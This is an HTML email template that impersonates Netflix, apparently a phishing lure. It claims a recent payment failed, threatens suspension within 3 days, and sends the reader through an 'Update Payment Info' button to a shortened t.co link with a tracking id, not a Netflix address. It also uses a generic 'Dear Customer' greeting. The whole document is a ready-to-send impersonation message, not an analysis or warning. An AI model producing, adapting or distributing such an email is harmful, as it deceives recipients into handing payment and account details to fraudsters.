<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Netflix Payment Reminder</title>
<style>
/* Reset and base styles */
body, table, td, a {
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
body {
margin: 0;
padding: 30px 0;
background-color: #f4f5f7;
font-family: 'Segoe UI', Arial, sans-serif;
color: #333333;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
table {
border-collapse: collapse !important;
}
a {
color: #e50914; /* Netflix red */
text-decoration: none;
}
.email-container {
max-width: 540px;
margin: 0 auto;
background: #ffffff;
border-radius: 12px;
box-shadow: 0 4px 18px rgba(0,0,0,0.06);
padding: 30px 28px;
}
.logo {
text-align: center;
margin-bottom: 20px;
}
.logo img {
width: 100px;
height: auto;
display: block;
margin: 0 auto;
}
h2 {
font-size: 22px;
color: #e50914;
text-align: center;
margin-bottom: 14px;
font-weight: 700;
}
p {
font-size: 15px;
line-height: 1.6;
text-align: center;
margin: 0 0 16px;
}
.button-container {
text-align: center;
margin: 28px 0;
}
.button {
background-color: #e50914;
color: #ffffff;
padding: 12px 30px;
font-size: 15px;
font-weight: 700;
border-radius: 8px;
display: inline-block;
box-shadow: 0 4px 10px rgba(229, 9, 20, 0.4);
transition: background-color 0.3s ease;
}
.button:hover {
background-color: #b20710;
text-decoration: none;
}
.footer {
font-size: 12px;
color: #999999;
text-align: center;
margin-top: 22px;
line-height: 1.4;
font-style: italic;
}
/* Responsive */
@media screen and (max-width: 600px) {
.email-container {
width: 100% !important;
border-radius: 0;
}
.logo img {
width: 80px;
}
}
</style>
</head>
<body>
<center>
<table width="100%" bgcolor="#f4f5f7" cellpadding="0" cellspacing="0" role="presentation">
<tr>
<td>
<table class="email-container" role="presentation" cellpadding="0" cellspacing="0" width="540" bgcolor="#ffffff">
<tr>
<td>
<div class="logo">
<img src="https://upload.wikimedia.org/wikipedia/commons/0/08/Netflix_2015_logo.svg" alt="Netflix Logo" width="100" height="auto" />
</div>
<h2>Payment Required to Continue Your Netflix Membership</h2>
<p>Dear Customer,</p>
<p>We noticed that your recent payment was not successful. To avoid interruption of your Netflix service, please update your payment information as soon as possible.</p>
<div class="button-container">
<a href="https://t.co/58RjTecRcC?id=-9067570904069549736-1992" class="button" target="_blank" rel="noopener">Update Payment Info</a>
</div>
<p>If payment is not received within 3 days, your membership will be suspended.</p>
<div class="footer">
Thank you for being a valued Netflix member.<br /><br />
— Netflix Billing Team
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
</body>
</html>